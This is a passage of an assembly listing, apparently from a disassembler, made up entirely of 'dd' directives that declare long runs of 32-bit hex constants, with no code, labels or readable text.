		dd 696FFB0h, 0B80BB990h, 0A6453912h, 976CF227h,	19E99D4Fh
		dd 8ACD6125h, 6062E2C2h, 97397525h, 0CD97F31Eh,	0A48442CFh
		dd 4E51E056h, 67E09067h, 8A09BB4Bh, 7D785566h, 0B7558BABh
		dd 0A3D580DAh, 48402EA8h, 77B9BE02h, 5C68B3E7h,	75C975EBh
		dd 0F0BEA491h, 380080EDh, 0B6BF6ED9h, 4439751h,	0B3A32609h
		dd 70C1B040h, 0BF5F4224h, 60C9212Fh, 0F56F850Bh, 73166BD1h
		dd 5C617A82h, 44F50D4h
		dd 0BCC669E1h, 3661280h, 9E65FA71h, 0D31C112Ch,	0BDFBAD66h
		dd 89E0B23Fh, 0D6C556C8h, 0DB121546h, 4AB1BCD9h, 9EEFFDC5h
		dd 60D9CE2Bh, 27BFE792h, 5A1A04E9h, 0A16D8D29h,	0C79A2AA0h
		dd 0FEC01DC8h, 0A97205h, 18E57E75h, 85299878h, 0EE244525h
		dd 0BC18B117h, 0C020389Fh, 0DF051D08h, 0BE396C8Bh, 37DC00F5h
		dd 64AB9C4Bh, 0D8D2789h, 965F3582h, 0BF80DB59h,	5DA746AEh
		dd 0A5EC9D50h, 1B1321FAh, 80173C85h, 8DC0EBDBh,	4EC0625Ch
		dd 51943409h, 40827865h, 10BD5025h, 3F042C3h, 0B378C933h
		dd 5B8A5F56h, 9178B5FDh, 4E948117h, 76899380h, 135C0B19h
		dd 0C91CE3E8h, 0E4FACD25h, 0AEED6019h, 82831222h, 49F8E761h
		dd 32DDACF1h, 17B82B64h, 6DE9EC5Ch, 0A40CF7Bh, 0A3BF669Ah
		dd 735E54Eh, 2A29E781h,	5A3A992Bh, 7A00D2E5h, 4F3D263Bh
		dd 0A441171Bh, 8D8304EAh, 0A807BD2Bh, 48098C17h, 18DA98F5h
		dd 78E0680h, 3055A7B9h,	74F6B193h, 5EDF70F7h, 40874200h
		dd 9AB3F36Bh, 1899975Bh, 1DAE2060h, 196B1241h, 2F61A11Ah
		dd 0B806FE3h, 652E2753h, 9642C710h, 0B8C9B25Fh,	0ABB32F3Ch
		dd 9D05B2FBh, 99FB14C1h, 31AC60DAh, 2D3D8D12h, 810783E7h
		dd 0E4699FEBh, 0D27FB961h, 7A129C6Bh, 34A29Ch, 0A7ABDDCCh
		dd 97DF48E7h, 67827414h, 27053340h, 16B39680h, 0F50F5095h
		dd 0A8BCC30Eh, 0F5527ED5h, 1BBD979Bh, 723816A8h, 538E0A9Ch
		dd 610999B8h, 0EB46682Dh, 8D934BDDh, 80916884h,	0BAEEFCB3h
		dd 0D1383B48h, 3508AE8Eh, 88B17A60h, 53A6811h, 699E58BCh
		dd 720E7494h, 255DE0DFh, 0C4B8802Eh, 1687430Ah,	66A5D861h
		dd 8AF94B7Fh, 0DC64257Ah, 0EF01F6CDh, 6A80AFF9h, 0A07F5F09h
		dd 104B0532h, 0F5D4A3EDh, 0C6B8DC0Eh, 0F487B612h, 677B0BAh
		dd 0A102E275h, 0F0BB66CFh, 49BB82D6h, 969E7F14h, 0D34039BEh
		dd 0A29EF7h, 55822F22h,	734AF6Dh, 0C6BBE401h, 10E9B6FFh
		dd 0B504902Bh, 9D8427A5h, 7217731Bh, 9BFD03D1h,	9B351C0h
		dd 90B5905Bh, 28F2BC5Fh, 0C90189h, 5F3A58BBh, 9030B350h
		dd 0C1816D9Dh, 366AA88Fh, 0F16E160Bh, 0BD7F30F3h, 0A740594Fh
		dd 2796EEBh, 314B532Fh,	4A79B99Dh, 0ACF0F818h, 93DB9F9Bh
		dd 2191D0h, 7019CF8Dh, 9509C23Eh, 25266D20h, 3AC0DF8Bh
		dd 2D59BD89h, 0B79009D0h, 79DD0B70h, 0EA050024h, 37079D6Bh
		dd 5EF98C03h, 88BFE2D5h, 13668EC9h, 9B90615Bh, 21F282ADh
		dd 9CD35DA8h, 50EAA00Dh, 12F8B3F3h, 0E756B70Ah,	286A4B06h
		dd 72D06000h, 0E138F886h, 0C6C92912h, 6F480BE3h, 9F8A4Ah
		dd 84E8CD6h, 4DDB55h, 1F927F59h, 31BF9F88h, 10806A24h
		dd 0C0C6F263h, 27CCCEDBh, 0ACF943C9h, 0D4251CCFh, 0E3F8F4FFh
		dd 48BC661Fh, 66042016h, 34FF19B9h, 0DD6AAEB0h,	4011D01Dh
		dd 0A7ADBA15h, 8F4BCB49h, 0DDA4706h, 450B45B4h,	701E3CFh
		dd 502F1ADFh, 27217369h, 0D1332B5h, 1F8011B8h, 88B51093h
		dd 4B2E3504h, 27B95FF8h, 0A0A1E6D6h, 9BBEB42h, 70E9EF3Fh
		dd 0B670C45Ch, 3D40829Bh, 40822465h, 366C3FEh, 6181DAB9h
		dd 5189A6BFh, 19342E10h, 0F60FD1F2h, 97E045ECh,	140B6638h
		dd 0BFA92C03h, 0FDEABE5Bh, 0FA6222ABh, 8111A10Fh, 97A1E7Ah
		dd 0C6589026h, 0C0F44F9Fh, 9ACB9E5Eh, 8FC97012h, 1A39F304h
		dd 5CCFE817h, 1CED4B55h, 18C1AB8h, 0B27F3979h, 7F289BD2h
		dd 0F61BFA09h, 245FC0A3h, 0BB013A49h, 0B757A4CCh, 5F3A302Dh
		dd 36FCE5E7h, 3E1946D6h, 4D5B82AEh, 6189A9D9h, 75293375h
		dd 6A58ED22h, 0A52E7E38h, 0D64EAA30h, 9D0BEA41h, 282B3189h
		dd 10845AD6h, 4F2B6D9Dh, 520D0E8h, 0DF1CB061h, 0C56870E6h
		dd 278BBC5Fh, 92DEF18Fh, 32C2B4DAh, 0E6BD28A1h,	3A8667Fh
		dd 1D55F781h, 6E3A740Ah, 91E6CA39h, 585DE440h, 0F8929723h
		dd 3A5B8060h, 0C95E45h,	0ABF4E17Dh, 605F12DCh, 254BCE0Eh
		dd 0E007F1E9h, 0A06C08BFh, 378F7A84h, 5F520400h, 57269A0h
		dd 0BAF54A7Eh, 21DA2C22h, 0A7F1BD03h, 0C173567Dh, 23C82BFEh
		dd 27860081h, 0F518D86Bh, 579800E8h, 5E7ACDCBh,	3D049990h
		dd 89FCD18Bh, 0EDDDC5AEh, 0AB578B07h, 206ED8BFh, 29429CDh
		dd 0C9AB7D49h, 0ED2FED00h, 2C1D6762h, 0F3C199F2h, 61A7D505h
		dd 92F85CAEh, 0BB17E05Fh, 6C52780Dh, 816A1045h,	2E03E911h
		dd 5B181932h, 0DDFF8005h, 87D913ACh, 0D55EE125h, 9000C2A9h
		dd 7236B7EAh, 0AFF1D1BDh, 0B3BA164h, 84448061h,	1BD26BBh
		dd 4F970A4Dh, 19F015F5h, 2E5B33CDh, 22231B22h, 4B579D29h
		dd 80A5FA3Eh, 0E1BBFE2Fh, 439A247Dh, 37912174h,	0AA15C550h
		dd 4C857428h, 80046A17h, 916AE1F7h, 7F2E6123h, 0DA4ED0CBh
		dd 78C78077h, 6606A91h,	70B66C63h, 0DD208ED5h, 35B91226h
		dd 3765FF08h, 5F29C0FFh, 0BC0055CBh, 394290C1h,	9B9AE32h
		dd 8CF70187h, 0BB07F958h, 4F981BB7h, 0C02BF560h, 896AF78Ah
		dd 239B3F57h, 0D40CBF94h, 11AC2113h, 9BB1A40h, 29BE1410h
		dd 0BD42BF5Bh, 0D7146A21h, 4EC0AFEDh, 9BEE73Dh,	43840C5Eh
		dd 8A31DD59h, 736E2249h, 1A1053DFh, 5B25213Dh, 0DC96E666h
		dd 13609DDCh, 0BC0459B8h, 0F76AAEE5h, 0E84FADBCh, 0D85BBB8Ah
		dd 0E6008C9Bh, 5F41E4C5h, 0A99299h, 3FBFCF81h, 8D89392Fh
		dd 51354D2Dh, 493FC46Eh, 6699FD8Bh, 0E7D97F8Ah,	88044F60h
		dd 5F715752h, 0B7E1FF2Dh, 5C420086h, 0F9BB20E9h, 154ADBB8h
		dd 0B17D3CAh, 84959E05h, 9AF826Bh, 0F0592D54h, 91D1F6C6h
		dd 8846AFAEh, 0DE9B5800h, 5E847995h, 0F0B025FAh, 9E1A02C5h
		dd 0E0AC6D45h, 0B3B10777h, 643C8E2Ch, 0BCA86095h, 1472001Eh
		dd 8E5CBF75h, 9974E57h,	71EFD312h, 4913FC2Ch, 7AF74F02h
		dd 0C0244E30h, 9D14C1CBh, 0E600AE53h, 9509A03Fh, 5799134Ah
		dd 0B1851252h, 5EEFD449h, 0B209E598h, 7202105Dh, 0D378593Eh
		dd 0E0D5A64Eh, 17135710h, 0FD7E4FDAh, 8C16ACF9h, 65ED1817h
		dd 122D1BB8h, 46A76953h, 0B2D297A8h, 41858D25h,	854C50D6h
		dd 0D0200092h, 16BD2DB2h, 8F256245h, 93247E2Fh,	20B5E1BFh
		dd 11411D36h, 292EFBD9h, 0EB847F6Fh, 8A538CEBh,	7088D94Bh
		dd 626C8814h, 0A688B01Dh, 0AA97B200h, 0EAF561AEh, 60A400C7h
		dd 0B313FE9Dh, 69F01ABFh, 5B9D094Bh, 58ED49F5h,	770B6E3Ah
		dd 0AF196412h, 835652E7h, 16CFE4B0h, 0DDC06717h, 3B9CBA30h
		dd 0D46C3EA9h, 65FC007Dh, 5766CC3Dh, 0A75C1A99h, 6EB19265h
		dd 0C0C19E7Fh, 0BC936BA0h, 64704E7h, 0EB8B5275h, 2562A326h
		dd 592241BDh, 0CC570220h, 0C05400D9h, 23D22A40h, 6B741089h
		dd 0BD01B006h, 12450FC1h, 0E156EB80h, 0FCDE7AA4h, 0E7601AC4h
		dd 83C20B14h, 1CE57461h, 9FFC2591h, 0BBCDD75Ah,	5B28F840h
		dd 2FEA14E1h, 9AD0CC3Ah, 0F2D45600h, 8FAC99F1h,	75BCC90Bh
		dd 0CE89FDB3h, 13B5E282h, 0C9C95C09h, 0AB5C82A9h, 804F35E9h
		dd 0E68ABBF8h, 0B40F037Bh, 44AE3ADAh, 75F2850Fh, 7AEABB05h
		dd 0AD30AA89h, 67360Ah,	6CF761A0h, 7E8BE18Ah, 0F0952327h
		dd 0B90C4AD9h, 0EB81C022h, 4B426928h, 0AE2CC56Ah, 0B6CFFD9Bh
		dd 0D4EE4E21h, 0B16E994Ah, 0AC899663h, 66D00DAFh, 49C3913Dh
		dd 10BC64h, 943DFD3Bh, 0F89AFB8h, 18898E56h, 0B008015Dh
		dd 6599977Ah, 0B9928856h, 685B0034h, 844DFB4Ah,	0DA4B8590h
		dd 12B559B4h, 0E67BD108h, 49F1E0DFh, 8D3425ADh,	7A07DC64h
		dd 0D60656B7h, 8EE11730h
		dd 0B07202A2h, 0EF85B2F8h, 4921C0F5h, 2F5F811Bh, 0D88A7C30h
		dd 4E507490h, 0BC7AFDFDh, 85E00E2h, 52CBD6C5h, 5504E1ECh
		dd 511BD0Bh, 0FA67EB17h, 7F1BC9C2h, 7BEBF3EDh, 61A50914h
		dd 50DCB7DCh, 95858A87h, 0E24B7653h, 209E5540h,	0C370455Ah
		dd 5A59CBB3h, 0C093F89Dh, 79305B69h, 5F250949h,	5DFE45E9h
		dd 62E57FF6h, 165B889h,	0A925B308h, 77225C78h, 5CD6F448h
		dd 5D179C9Ah, 0E833E92Bh, 0FF6301A1h, 48A3B54Dh, 2EB03B0Bh
		dd 0DB67B50Ch, 1704500Eh, 583C6FABh, 0C8513831h, 7624B31Ch
		dd 228D4F59h, 357FDA4Fh, 831891E6h, 8A49B5D3h, 0E5905F55h
		dd 0D005700Bh, 7DFDFBE2h, 3379C881h, 0D641B814h, 6EFC6304h
		dd 0BD4A38B8h, 84EC0Eh,	0C9A95EA5h, 0C2583E46h,	1014B197h
		dd 1CD42810h, 0FB5F9307h, 0E6605958h, 18EFE955h, 0AC512A09h
		dd 96891999h, 2F60E874h, 54E4CFB0h, 78CA6097h, 1F28048Ch
		dd 0AF9FC8CEh, 5B169FE2h, 47A61h, 0C9BF274Ah, 5A47190Ch
		dd 0EE002058h, 0F2A2C546h, 1841DB32h, 0E85CEEDDh, 0E28060E0h
		dd 0B458B53Fh, 0DB5DAF8Ah, 0B7AD70D3h, 0D9B5630Eh, 521F8F81h
		dd 0CC4AEAE3h, 3D39BBC7h, 0E2332D51h, 0B5BA555Bh, 9D47656h
		dd 0CB6DF99Dh, 2A35C502h, 25852901h, 49D25CC6h,	73604EF6h
		dd 12EC3D45h, 0E1C402DAh, 0B82979B4h, 31A00197h, 4BC2EC85h
		dd 6DC46E57h, 975F71E0h, 16597CFBh, 8D257118h, 44B4CC1Fh
		dd 8F00D606h, 418DAB53h, 931F781h, 6A38B628h, 5F7A965Bh
		dd 1094050h, 89A34FB5h,	0BDBEDAE9h, 141AC924h, 16022266h
		dd 0AD61C38Bh, 8C14AC3Bh, 99C1CD4Fh, 597C8F37h,	318509C1h
		dd 0F2222E0Fh, 0D63428FAh, 0F5B130EFh, 0EDC114Bh, 0DDFB4B8Bh
		dd 0A46A2F0Ah, 2812E701h, 73890F95h, 71B50B2Fh,	71285C14h
		dd 8FDE6B41h, 0C00B80DCh, 0A7090291h, 8B766509h, 7F1C7FD9h
		dd 0B16BF71h, 0C3B832E9h, 199D0983h, 7F0F39ACh,	9F1B7DC1h
		dd 0D3E640E8h, 0CE95C8ADh, 64359FB2h, 42337305h, 6CA180EAh
		dd 0CE13A574h, 2CAA9D23h, 957789C6h, 1BE20F5Ah,	6C6BD2h
		dd 0C04C0979h, 7A90D688h, 50949741h, 82E75A4Eh,	0BD93FB0h
		dd 9345C103h, 0E48779D6h, 0BDBB74AEh, 88CDA94Ch, 0BFFE7F4h
		dd 0C659950Ah, 34B19BE8h, 0B5D8B788h, 0D3A561C7h, 0E80350B9h
		dd 2CF52950h, 57E3A283h, 0D653A90Bh, 0C53D70h, 0DE6D0AC9h
		dd 802C5AB7h, 8BDDF309h, 85A6B7C1h, 0B2294760h,	970A0007h
		dd 1D071372h, 0B70E3C7Ah, 0B5E98B81h, 6F1701A7h, 18B20EE6h
		dd 2E918AB0h, 0CDFE2F16h, 3100FCF2h, 8035D23Ch,	0D601C6B0h
		dd 0C2F92816h, 0F82E4296h, 991880B6h, 1E70535h,	0E9F1E276h
		dd 0CBEADCA3h, 0DD061A0h, 58C28A02h, 57C6E480h,	7C6801E8h
		dd 0A6264AB4h, 11A117DEh, 6F9DA147h, 0BD625ED7h, 0B7ADF001h
		dd 8E404F4Fh, 4A8ACCDBh, 0E879A9F8h, 263D0E87h,	6E013C1Fh
		dd 88568840h, 2010099Eh, 0AC291DD9h, 9239F16h, 10FF1B95h
		dd 27C780D4h, 7C4450E6h, 0C2988D00h, 0BF66EC3Fh, 0AD1C4EC8h
		dd 0BAA64A0Dh, 549C06E0h, 6EAF662Eh, 9D2D816h, 0B9E646E1h
		dd 75950082h, 0D45BCD92h, 0ED5FA125h, 601864D3h, 27836DE1h
		dd 60FC4EF7h, 50D0F3E9h, 400949DAh, 745B4D1Dh, 337C41B1h
		dd 0D5B9CC95h, 86136303h, 98EA76FFh, 0E0EB81D1h, 7D49266Ch
		dd 19253C35h, 57C4F071h, 26AF942h, 1DC9D5Ch, 53BFF180h
		dd 6A4D051Bh, 0B72A7FC1h, 3E63F52Fh, 814EFB6Eh,	2FFD8ABAh
		dd 12B7E698h, 0F391E9D9h, 0AC33847Dh, 706CBF03h, 0E0B744BAh
		dd 0FE429189h, 8182CD5h, 90210F5h, 572371BDh, 665DB43Ah
		dd 3DD8A15Ah, 0FDA909C2h, 0A9001851h, 0D051F969h, 0F70700DDh
		dd 42DBB4C2h, 3805C5E2h, 49F3B3A4h, 20AB0FC4h, 0AB952048h
		dd 0B7C699A0h, 0B0EED203h, 0E8D48C44h, 4C6A1082h, 0D9C0A5F9h
		dd 0EAC77D3Fh, 21C1500h, 30F3D66h, 0C0971668h, 41FAF92Dh
		dd 406E2FCCh, 9176097Ah, 0F7FCAB78h, 0C9BD2961h, 252E0275h
		dd 0A13DE7FCh, 0D6C0149Fh, 0C81D4FD8h, 5002583h, 0F40B8617h
		dd 1E2845h, 0BE4E6ADFh,	3E88B867h, 0A19FAA17h, 0A404F808h
		dd 0C4273928h, 6013124Ch, 28FE880Fh, 97004220h,	760CD07Ah
		dd 0C991A9h, 3BDB7BDEh,	0FC4FC81Eh, 0D4AD6A2Fh,	2705108Ch
		dd 0D6845461h, 0AC131546h, 974F1D73h, 0F4FBD82Fh, 43E8B600h
		dd 0D903CEA8h, 71A009D7h, 5EFCFF6Ah, 5EF315h, 8099DD5Ah
		dd 0FD7F634h, 40094577h, 71AB405Dh, 2C6F3D86h, 1D5615Ah
		dd 0FCA91FAh, 38D7CA80h, 0CED3E1h, 16EA5EF4h, 0D562DB94h
		dd 0F629319Dh, 0B1D42BA7h, 9C2AED08h, 16BB00B0h, 0E620FC9Ah
		dd 0EAC27050h, 0ACA03AF1h, 0D544842Bh, 85231960h, 82F8FFD1h
		dd 31C8B61Eh, 0DA9778Dh, 7FD79AFDh, 0C1631EC6h,	129E885Eh
		dd 0B81A5522h, 2BB8EEFh, 7418FDB6h, 1AE84A00h, 4F5EFB15h
		dd 0C82B0D31h, 43A4862Eh, 64EF0997h, 26BF07E9h,	0D32FFBC0h
		dd 3717E185h, 0E51C2B51h, 1AD2E6E5h, 0F32B750h,	48158EDDh
		dd 0B501020Fh, 1C5702A1h, 0D99511F0h, 2472220h,	9A79E381h
		dd 0D9554B8Ch, 0BF291681h, 38FB5316h, 0CCC6508Dh, 5B993045h
		dd 8554EC33h, 2300A583h, 15D381FEh, 64C134ABh, 316D0382h
		dd 0BCAC4585h, 21ACA1C5h, 8011BC04h, 62E16383h,	1D450093h
		dd 0C0CE87A0h, 725C82FAh, 0D749320Bh, 274F775Bh, 0D38CD140h
		dd 3DB70067h, 8D640B96h, 0ED259D09h, 0FA98750Fh, 7702F0C6h
		dd 3A957964h, 9BB2D7F5h, 0B00127F9h, 25963FECh,	0C1D083C9h
		dd 0F59132Ah, 4D168C8Fh, 0B9BD2D63h, 60BBECE9h,	61C5656Fh
		dd 0EF22E202h, 425B66C8h, 9712642Ah, 69E4FD09h,	6280C994h
		dd 98856514h, 0C70E014Ah, 0FA8F07E5h, 0DAA63A5Fh, 0C2B882F1h
		dd 2B04F02Ah, 4CC229D2h, 36550911h, 0D4E19E6Ah,	3178670Eh
		dd 5C7761CDh, 203F6C8Ch, 9170327Bh, 0A2789262h,	19A28F8Eh
		dd 0B9255F87h, 0DABE5B55h, 28B692C4h, 0A317980Ch, 5416152h
		dd 1583823Bh, 0D9E93D74h, 60F2001Bh, 0B974501Bh, 0A15D9D00h
		dd 11CAD7F3h, 9BE13ABAh, 4C4AF927h, 0A73D5Dh, 8EDF2232h
		dd 5D4EE780h, 0EFD6468Bh, 0F803026Bh, 0BEF3327Ch, 3F5049Ch
		dd 4E117AEEh, 96B344A8h, 5F7AAE84h, 0C140162Dh,	0F115DCAh
		dd 0F51C018Bh, 0C7F425B8h, 0AD7E4AF6h, 859AD2C2h, 49648780h
		dd 6D97E1FFh, 7E3BC038h, 2C482853h, 8D9D0909h, 70845E1Ch
		dd 2EE10454h, 0A3B8B8B9h, 0CFFAD709h, 44AED14Ch, 10BF4042h
		dd 9D5F7D64h, 0FA749E14h, 0F46BB4h, 51AC7EDh, 93AC5D16h
		dd 0BD31EF12h, 602545F9h, 3D012437h, 8FB3E071h,	0A0A0103Ah
		dd 0BC551134h, 77094B6Bh, 0AD99FF32h, 0BF4E692h, 4AD407F4h
		dd 40B20722h, 0BBA1CD50h, 8C581009h, 2F64DD69h,	885EFBB5h
		dd 291309C5h, 0F65F39F2h, 3916B2D1h, 6D55C6C0h,	601A64EBh
		dd 7E2D76F8h, 740716B9h, 0C98C1A0Fh, 0C7B330D5h, 47905893h
		dd 6C5E9EC0h, 0DC000323h, 75415A4Ah, 174EB5A6h,	3051FFD7h
		dd 0D5ABFB7Eh, 0B1012D5Fh, 0F6927CBFh, 1F7090CDh, 0A5221AEEh
		dd 0C142BE7Eh, 0E5A54A5Ch, 12DD25B9h, 58E503Fh,	8EB139BFh
		dd 4848AF12h, 0EB6C3ADAh, 30F7FA12h, 8E05BB11h,	5B28C0CAh
		dd 5760AD22h, 0B40962E6h, 0FB586199h, 51D57069h, 7C113402h
		dd 55A21E15h, 824BD44Ch, 0A84A2930h, 0A3F19F89h, 0DB1D2E60h
		dd 0F26100B5h, 0C10D4BCh, 22018136h, 0A329DCCh,	0E67155B8h
		dd 812D29DCh, 7E01E9E9h
		dd 0C6805A9Eh, 0FEAD1B3Bh, 0E9CBA302h, 0DDFC8FF5h, 0AE9C18B8h
		dd 9907395h, 3D29E59Dh,	56271F79h, 0D502DEAEh, 0DD8D8983h
		dd 0F7EE7F0Ah, 0CE95093Ah, 89F58A05h, 0CD1A81Ch, 0B968C5Eh
		dd 1B819D10h, 0CA3A6551h, 85790028h, 0C5775764h, 20AE24FBh
		dd 6DD4CCC5h, 50A2024Bh, 0C25F844Eh, 0B3F0F9C2h, 0CC4EBF05h
		dd 70BA0CB6h, 0FA1ADF3Ch, 5E922h, 0E4A0C4A2h, 530468B2h
		dd 5B0C3424h, 3947B2Dh,	0D327FE49h, 63425BEAh, 3E0037C6h
		dd 4F75B0A5h, 2CD63h, 2C4657EDh, 0D0624C43h, 8BE4476h
		dd 0BAA26098h, 0C74B0BE7h, 90556134h, 2D50FB6Fh, 126D0C2Bh
		dd 3D9C25C1h, 5D2054C5h, 8B6304DDh, 0BA3089BDh,	0D62D712Dh
		dd 62043CA8h, 284ABAE0h, 0A21DAD2h, 0E091164h, 20367B4Bh
		dd 495AB3Bh, 0CC599DB8h, 0DEAA5F93h, 0DB7F804Fh, 117A52Fh
		dd 71889126h, 40DED380h, 753FF3E9h, 98E6FC49h, 812B19FEh
		dd 7DCC2E61h, 0A9951331h, 6E7FAB1Ah, 0FB001B23h, 42DAACCEh
		dd 0EA4C2D2Bh, 0A861AAF6h, 0CFF456DBh, 3E6800A4h, 6DFD6B8Ah
		dd 295FB587h, 2FBCD6C4h, 187510E2h, 27256394h, 251021E9h
		dd 9D9709ADh, 4D55F2FAh, 58404E16h, 0CD2A3DA3h,	944082B4h
		dd 59A90Eh, 86CF5413h, 0ACFF7C73h, 0F78CB507h, 0D8B08131h
		dd 0B275AD68h, 382FF5EFh, 0C08A3DF1h, 0A714714Eh, 272A98C5h
		dd 6D95DE8Bh, 60176412h, 5834E422h, 1D122F3Ah, 0C62DAE05h
		dd 0A0E2B63Ah, 13B095CFh, 0B2A53405h, 0E4970048h, 0DE31CB4Bh
		dd 0C7D900D3h, 816E43C6h, 7778992Ah, 4DDFB9Fh, 0AF12959Dh
		dd 0D156ED72h, 27A2021Bh, 5BE0C647h, 782E46EBh,	64821A06h
		dd 6A1A440Ah, 47025CC2h, 627DF15Ah, 0EFF17FD7h,	0A8C7A23Ah
		dd 87072DADh, 2454AE79h, 9A560B0h, 0B05D0BF9h, 0D9AF1Dh
		dd 4ACE31DBh, 6755DCE4h, 0A54BE3F2h, 256FE1D9h,	1D4CA0F8h
		dd 59E438h, 0ED5502A5h,	5094C60h, 156A1499h, 2DE6A29Ch
		dd 3ED6469Bh, 0C580F8F7h, 0F24CB34Fh, 3F12D4F9h, 0BAA5FCEh
		dd 15553140h, 6A20CEA7h, 2376B6CAh, 95780D26h, 0D32C0509h
		dd 0B360931Dh, 0BF0F058Dh, 6BEF61C3h, 31723BEh,	9D10EB21h
		dd 2FF57810h, 3827E648h, 106D1D42h, 0A0E23FE0h,	180A0192h
		dd 23A819D7h, 7376D29Dh, 0DC70B30Bh, 3FE3250Dh,	6D27DC96h
		dd 0DE59A42Eh, 9AD71FE9h, 71128267h, 6B1F74CFh,	0C5C006EDh
		dd 162BDBCBh, 0A860B627h, 0FE638001h, 0FE5E399h, 0E774666Bh
		dd 506AADA7h, 5850238Bh, 41755E58h, 587227h, 9B3D5A9Eh
		dd 48318Dh, 4FA3A2F9h, 0C3EA2DA1h, 79136375h, 0A3F0C228h
		dd 5ABB1366h, 396BAB98h, 0F6001D23h, 7059532h, 0F2360B6Fh
		dd 0F5E662ABh, 0B802BF0Fh, 35A0D35Ah, 359786DFh, 4FE30386h
		dd 0C01116E1h, 49622ACh, 0E846148Bh, 0A642DE38h, 742EC6E2h
		dd 0F675112h, 0F4C018C8h, 5CCAF31Eh, 0BB02F8A5h, 786A57C9h
		dd 0CD3DEA55h, 0A6AFE3C2h, 558D7790h, 6140F196h, 0B5D8038h
		dd 0DE6774E6h, 0EFF42A00h, 0D327472Ah, 4BF343F0h, 7B5BB6DAh
		dd 2BF5F706h, 13241009h, 0A52D80DFh, 0AE9E7E1Fh, 0B0534680h
		dd 0B63A0933h, 0D15BAE2Bh, 65BED302h, 0CE1E741Ah, 4141184h
		dd 0B6A4830Fh, 0EEB209BBh, 29D11856h, 819D3182h, 767750Eh
		dd 6F2F381Ch, 0EA75421Dh, 0A5CF0577h, 0F3E812ABh, 0F88A140Ah
		dd 0A2BD5EABh, 0CFD1C62Fh, 0C42F7925h, 0FB9E4013h, 76C749h
		dd 0A93C1682h, 1139832Fh, 0D1648F05h, 84FE4047h, 0DBC1BFA2h
		dd 4D3069BFh, 0C18B1228h, 7064F253h, 0B51F750Eh, 7ED3407Dh
		dd 0E2E1C0BBh, 0A9714EB0h, 34BF92C3h, 0E96DC137h, 5EF0420h
		dd 0AA5FC71Dh, 0F1C04E9Eh, 6D78F1Ah, 6EFB8504h,	0ABF6BB09h
		dd 0F0208E21h, 12AB1D4Ah, 0C06FAACCh, 9C2BB200h, 2DA2EB8Bh
		dd 8BDDEE2h, 0BF80CEFBh, 2535CD0Fh, 0DC6D9D6Ah,	8E03B5E0h
		dd 190901CCh, 6B043E5Ah, 0FC3CF081h, 0F9502C2Fh, 50FBA0D2h
		dd 2FC4B8D9h, 369816BCh, 4739F624h, 0ABA8806Fh,	0ED302F40h
		dd 0F1D72D80h, 68A51756h, 0DDF98A98h, 8FE1BAEh,	19DF8DDAh
		dd 0E92AAD6Ch, 140E878h, 5443F459h, 64F94E3Fh, 324529E6h
		dd 8462AC3Ah, 60BD61DFh, 3BACFBD5h, 8BB10F00h, 23C1412Eh
		dd 0B2D3A346h, 0D36EFD30h, 0BEC78100h, 0FF703C5Eh, 0B78AFCD1h
		dd 51002245h, 0D3D977CBh, 0CA914B82h, 0FE88256Ah, 0A6505233h
		dd 0E1A8324Eh, 38C1CFCh, 0C74650FDh, 0EA0196Dh,	5FF8908Bh
		dd 2440492h, 0B9DD4B8Ah, 95E2BC1Bh, 1B590FFBh, 655FFF18h
		dd 0FEFB53D1h, 12057A60h, 0F3C7E977h, 0BCCE849Bh, 0ACFB8B05h
		dd 821E809Dh, 459A2Eh, 0F344357Eh, 87DF8008h, 0BCFA5B59h
		dd 85583DC7h, 0AE9C6007h, 34122F83h, 54A7B99Bh,	17400549h
		dd 0F8E90181h, 6154E459h, 0CC213B90h, 9FE478B7h, 437138DEh
		dd 0B1BB158Fh, 0D50D2E03h, 0A9BF22E0h, 3727A2F6h, 5E30DA5Fh
		dd 0F66E90h, 0B682D6AAh, 0BBBC83Eh, 5F9045A1h, 78730009h
		dd 88EE5713h, 0B7255FADh, 9F3EE627h, 0FC7A9153h, 5DC4009Fh
		dd 7AD2AB82h, 0AD78595h, 0D5C69BAAh, 4F00DF6Eh,	0A307C978h
		dd 1EB572A2h, 30A5BD29h, 9D2BFF55h, 7130E930h, 8232D1B5h
		dd 0B025B470h, 2010ECABh, 0F690012Bh, 481D1920h, 0D300F3B0h
		dd 334041D1h, 489C70E6h, 0D6B5BE40h, 588B003Bh,	44374F89h
		dd 19047CF5h, 485F2A17h, 71E48AC1h, 8D58983Fh, 1219F112h
		dd 96C060ECh, 3BD3A029h, 0C2625605h, 34BFB731h,	2242B9AEh
		dd 0A5F097D8h, 24F4F95Ah, 199F13BBh, 5767FABAh,	2482ED84h
		dd 0F9FBC0C1h, 0EC799526h, 9091BD8Eh, 2B0501D2h, 628509C8h
		dd 0D18B044Bh, 0F5B89D33h, 89929788h, 8217D5FAh, 4DA40832h
		dd 0D9A2D8h, 5BDC236h, 0BD0907BFh, 7B810253h, 2377456Dh
		dd 5346002Fh, 160D4BBFh, 5E356859h, 3FB94484h, 16D31E25h
		dd 0A8E9980h, 3EE7900Ch, 46A2F7DBh, 89EA59BDh, 0DFD4BD2Bh
		dd 3FF8D4Fh, 0E1BBDE44h, 238A6B7Bh, 978D2916h, 1A5F5BEh
		dd 0EB80FE1Bh, 56A217Dh, 2C4A244h, 313FFD1Dh, 0C7455EEAh
		dd 3725B813h, 838C00A6h, 1BA6E3C4h, 0BB9E2FB1h,	400D5B80h
		dd 3881A531h, 8097F2CFh, 547B79h, 11CE06FEh, 27D07C36h
		dd 14DEF71Eh, 5EE91512h, 0D58A33CFh, 1AB997ABh,	0B7ED4661h
		dd 0AC41D3E0h, 0B8E70717h, 0A3BB6F08h, 0BC944F10h, 765584Dh
		dd 6D417144h, 71E2737Bh, 57243BB7h, 1A7AE0BEh, 0CBC42B05h
		dd 17AF2CB8h, 0B190F752h, 2DD48678h, 0D3A200C9h, 815793B7h
		dd 127221CBh, 2B5F0D0Ah, 0DECDD2h, 104C3994h, 260B08F4h
		dd 95DB8D4Bh, 17226A4Fh, 0AF08099Fh, 0BF660E20h, 4137E00Bh
		dd 646154A5h, 0A1218157h, 0F5F002Eh, 0AE259788h, 0A362AFF9h
		dd 730142CBh, 8535A5CFh, 50BF7800h, 9DAB2DE8h, 0C051FE10h
		dd 43352700h, 0EEFA94E7h, 60BF0AC8h, 8413E06Eh,	0FE5E1BB6h
		dd 0B84B5FCEh, 5B5FC4DEh, 14ACC0BDh, 0FBB0A18Ch, 4BBC2F2Fh
		dd 0B0A8D3F9h, 0DCCDED16h, 0BD31CEB0h, 0AB400E4Fh, 4B31A8ECh
		dd 2DBDCA1Dh, 0D8F85B65h, 0AD5B956Ah, 8EBDCD20h, 831801A6h
